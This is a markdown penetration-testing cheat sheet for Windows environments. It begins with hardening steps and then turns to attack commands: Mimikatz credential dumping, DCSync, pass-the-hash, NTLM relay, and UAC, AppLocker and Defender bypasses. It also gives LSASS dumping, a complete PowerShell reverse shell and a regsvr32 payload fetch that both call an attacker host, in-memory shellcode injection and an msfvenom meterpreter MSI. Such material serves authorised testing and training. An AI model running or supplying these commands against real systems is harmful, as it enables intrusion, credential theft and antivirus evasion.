Skip to content

Latest commit

 

History

History
365 lines (293 loc) · 15.1 KB

2 | Windows Penetration Guide.md

File metadata and controls

365 lines (293 loc) · 15.1 KB

Windows Penetration Guide

Introduction

This comprehensive guide aims to assist penetration testers in their assessment of Windows environments, including both standalone and domain-joined systems. It covers essential topics such as Windows hardening, privilege escalation, Active Directory methodology, and lateral movement techniques. Each section includes detailed examples, relevant commands, and fallback strategies to provide penetration testers with everything they need to succeed.

Table of Contents

  1. Windows Hardening
  2. Checklist - Local Windows Privilege Escalation
  3. Windows Local Privilege Escalation Examples
  4. Active Directory Methodology
  5. Windows Security Controls
  6. NTLM
  7. Lateral Movement Techniques
  8. Pivoting to the Cloud
  9. Stealing Windows Credentials
  10. Windows CMD for Pentesters
  11. PowerShell for Pentesters
  12. Antivirus (AV) Bypass Techniques

Windows Hardening

Overview

Windows hardening involves securing the system against unauthorized access and reducing the attack surface. Below is a detailed checklist for hardening a Windows system, including configurations to protect against common attacks.

Hardening Checklist

  1. Disable Unnecessary Services

    • Identify Active Services: Run Get-Service | Where-Object { $_.Status -eq 'Running' } to list all running services.
    • Disable Services: Disable unnecessary services such as Remote Registry or Telnet to reduce exposure.
      Set-Service -Name "RemoteRegistry" -StartupType Disabled
      Stop-Service -Name "RemoteRegistry"
    • Fallback: If issues arise after disabling services, re-enable using Set-Service -Name "ServiceName" -StartupType Automatic and review event logs for troubleshooting.
  2. Enable Windows Firewall

    • Configure Basic Rules: Enable and configure inbound/outbound rules.
      New-NetFirewallRule -DisplayName "Allow SSH" -Direction Inbound -Protocol TCP -LocalPort 22 -Action Allow
      Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
    • Block Unnecessary Ports: Block ports not needed for system operation.
    • Verification: Use Get-NetFirewallRule -Enabled True to verify active firewall rules.
  3. Enforce Strong Password Policies

    • Password Policy Configuration: Use secpol.msc or configure via Group Policy Management to enforce policies such as complexity and password expiration.
      • Minimum Length: 12 characters
      • Complexity Requirements: Must include uppercase, lowercase, numbers, and symbols.
    • Verify Settings: Run net accounts to view password policy settings.
  4. Limit User Privileges

    • Use Least Privilege: Restrict users from being part of the local Administrators group.
    • Enumerate Administrators: Run the following command to list local admins:
      Get-LocalGroupMember -Group "Administrators"
    • Remove Unauthorized Users: Use Remove-LocalGroupMember -Group "Administrators" -Member "UserName" to restrict access.
  5. Patch Management

    • Windows Update: Ensure the system is up-to-date with security patches using:
      Install-WindowsUpdate -AcceptAll -IgnoreReboot
    • WSUS Deployment: For enterprise environments, deploy Windows Server Update Services (WSUS) to manage patches centrally.
    • Verification: Run Get-WindowsUpdateLog to verify successful patch installation.
  6. Audit Logging

    • Enable Audit Policies: Enable logging for account logon events, object access, and privilege use.
      AuditPol /set /subcategory:"Logon/Logoff" /success:enable /failure:enable
    • Event Viewer: Monitor Security logs in Event Viewer for anomalies.
    • Verification: Use wevtutil qe Security /c:5 /rd:true /f:text to quickly check recent security logs.
  7. RDP Security

    • Disable RDP if Unnecessary: Turn off RDP if not needed.
      Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 1
    • Network Level Authentication (NLA): Enforce NLA for better security if RDP is required.
      Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1

Checklist - Local Windows Privilege Escalation

Goal

The goal of privilege escalation is to elevate the privileges of a lower-privileged user to obtain administrative or SYSTEM-level access. Below is a comprehensive checklist for identifying privilege escalation vectors on Windows systems.

Privilege Escalation Checklist

  1. Service Misconfigurations

    • Identify Vulnerable Services: Check for misconfigured services using sc qc [service_name].
    • Writable Service Paths: Verify if the service executable path is writable by any user:
      icacls "C:\Path\To\Service.exe"
    • Exploit Example: Replace the binary with a malicious payload to gain SYSTEM privileges.
  2. AlwaysInstallElevated

    • Check Policy: Verify if MSI packages can be installed with elevated privileges.
      reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
      reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    • Exploit Example: Create a malicious MSI package and install it to escalate privileges.
  3. Unquoted Service Paths

    • Identify Unquoted Paths: Use wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" to identify unquoted service paths.
    • Exploit Example: Place a malicious executable in the path to be executed with SYSTEM privileges when the service starts.
  4. Insecure Registry Permissions

    • Identify Weak Permissions: Check registry keys with weak permissions using AccessChk:
      accesschk.exe -wvu hklm\system
      
    • Exploit Example: Modify a registry key to execute a malicious payload during startup.

Windows Local Privilege Escalation Examples

Examples

  1. DLL Hijacking

    • Identify Vulnerable Application: Use Procmon to identify DLLs that an application tries to load but cannot find.
    • Exploit Example: Create a malicious DLL with the same name and place it in the directory where the application is searching.
  2. Token Impersonation

    • Enumerate Tokens: Use Incognito in Meterpreter to list available tokens.
      list_tokens -u
      
    • Exploit Example: Impersonate a high-privileged token to escalate privileges.
      impersonate_token "NT AUTHORITY\SYSTEM"
      
  3. Scheduled Task Abuse

    • List Scheduled Tasks: Use schtasks to identify tasks that can be modified.
      schtasks /query /fo LIST /v
    • Exploit Example: Modify the task to run a malicious command with elevated privileges.
      schtasks /change /tn "TaskName" /tr "cmd.exe /c whoami > C:\temp\output.txt"

Active Directory Methodology

Overview

Active Directory (AD) is a critical component in most enterprise environments, managing user authentication and access control. Below is a detailed methodology for assessing AD environments.

Methodology

  1. Domain Enumeration

    • Users and Groups: Enumerate domain users and groups with BloodHound or Powerview.
      Get-DomainUser -Identity *
      Get-DomainGroup -Identity *
    • Domain Controllers: Identify domain controllers using nltest:
      nltest /dclist:[domain]
  2. Kerberoasting

    • Request Service Tickets: Use Rubeus to request service tickets for SPNs:
      Rubeus.exe kerberoast
    • Crack Tickets: Use hashcat to crack the TGS tickets and extract plaintext passwords.
  3. Privilege Escalation

    • Abuse AD Permissions: Use ADSIEdit or BloodHound to identify users with excessive privileges.
    • DCSync Attack: Use Mimikatz to extract password hashes directly from the domain controller.
      mimikatz # lsadump::dcsync /domain:[domain] /user:[user]
      

Windows Security Controls

Overview

Security controls in Windows environments can act as barriers during penetration tests. Below are common security controls and how to work around them.

  1. UAC (User Account Control)

    • Bypass Using Fodhelper: Use the fodhelper bypass to execute commands with high privileges.
      Start-Process fodhelper -ArgumentList '/c start cmd.exe'
  2. AppLocker

    • Bypass with Regsvr32: Execute scripts through regsvr32 to bypass AppLocker restrictions.
      regsvr32 /s /n /u /i:http://[attacker_ip]/payload.sct scrobj.dll
  3. Windows Defender

    • Disable via Registry: Modify registry keys to disable real-time monitoring (requires administrative privileges).
      Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1

NTLM

Overview

NTLM (NT LAN Manager) is an authentication protocol used in many Windows environments. Below are methods to attack and exploit NTLM.

  1. Pass-the-Hash

    • Use Mimikatz: Extract NTLM hashes and use them to authenticate without knowing the plaintext password.
      sekurlsa::logonpasswords
      sekurlsa::pth /user:[username] /ntlm:[hash] /domain:[domain] /run:powershell.exe
      
  2. Relay Attacks

    • Set Up NTLM Relay: Use Impacket tools to perform an NTLM relay attack.
      ntlmrelayx.py -tf targets.txt -smb2support
      
    • Mitigation: Ensure SMB signing is enabled on all systems to prevent relay attacks.

Lateral Movement Techniques

Techniques

  1. PsExec

    • Remote Code Execution: Use PsExec to execute commands on remote systems.
      psexec.exe \target_ip -u [username] -p [password] cmd.exe
      
  2. WMI (Windows Management Instrumentation)

    • Execute Remote Commands: Use WMI to execute commands remotely.
      Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName [target]
  3. Remote PowerShell

    • Enable Remoting: Ensure PowerShell remoting is enabled:
      Enable-PSRemoting -Force
    • Invoke Command: Execute commands on remote machines.
      Invoke-Command -ComputerName [target] -ScriptBlock { Get-Process }

Pivoting to the Cloud

Techniques

  1. Azure AD Tokens

    • Steal Access Tokens: Use tools like AADCSPDump to extract Azure AD tokens.
    • Replay Tokens: Replay stolen tokens to access cloud resources without credentials.
  2. AWS Key Usage

    • Enumerate Keys: Use aws-cli to list S3 buckets using stolen credentials.
      aws s3 ls --profile stolen-creds
      
  3. OAuth Token Abuse

    • Enumerate Applications: Use MSOLService to find OAuth apps and abuse the tokens to gain access.

Stealing Windows Credentials

Techniques

  1. LSASS Dumping

    • Dump LSASS: Use Procdump to dump LSASS memory for offline analysis with Mimikatz.
      procdump.exe -ma lsass.exe lsass_dump.dmp
      
    • Analyze with Mimikatz:
      mimikatz # sekurlsa::minidump lsass_dump.dmp
      mimikatz # sekurlsa::logonpasswords
      
  2. SAM and SYSTEM Hive Extraction

    • Extract Hives: Use reg save to extract the SAM and SYSTEM hives.
      reg save HKLM\SAM sam.save
      reg save HKLM\SYSTEM system.save
      
    • Offline Analysis: Use tools like bkhive and samdump2 to extract hashes.

Windows CMD for Pentesters

Useful Commands

  1. System Information: Retrieve system information using:
    systeminfo
  2. User Enumeration: List users on the system:
    net user
  3. Network Configuration: View network configuration:
    ipconfig /all

PowerShell for Pentesters

Useful Commands

  1. Download File

    • Web Download: Download a file using PowerShell:
      Invoke-WebRequest -Uri http://[attacker_ip]/file -OutFile C:\temp\file.exe
  2. Reverse Shell

    • PowerShell Reverse Shell: Establish a reverse shell:
      $client = New-Object System.Net.Sockets.TCPClient("[attacker_ip]",[port]);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Antivirus (AV) Bypass Techniques

Techniques

  1. Obfuscation

    • PowerShell Obfuscation: Use tools like Invoke-Obfuscation to obfuscate PowerShell scripts and evade AV detection.
      Invoke-Obfuscation -ScriptPath C:\temp\payload.ps1
  2. Shellcode Injection

    • Inject Shellcode: Use C# or PowerShell to inject shellcode directly into memory to avoid writing to disk.
    • Example:
      [Byte[]]$sc=[System.Convert]::FromBase64String("[base64_shellcode]");$w32=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(([System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)),$sc.GetType());$w32.Invoke();
  3. MSI Packages

    • Create Malicious MSI: Use msfvenom to create an MSI package that can bypass AV:
      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[attacker_ip] LPORT=[port] -f msi > malicious.msi
      
    • Execution: Run the MSI to establish a reverse connection.

Contributions

If you’d like to contribute, feel free to fork this repository and add any tools or resources that enhance the guide. Contributions to specific examples or additional resources will help this collection grow and stay up-to-date with the latest in cybersecurity.

Thank you for exploring the Cybersecurity and CTF Resource Guide. Together, we’re building a one-stop resource for digital security mastery.

Happy hacking! 👾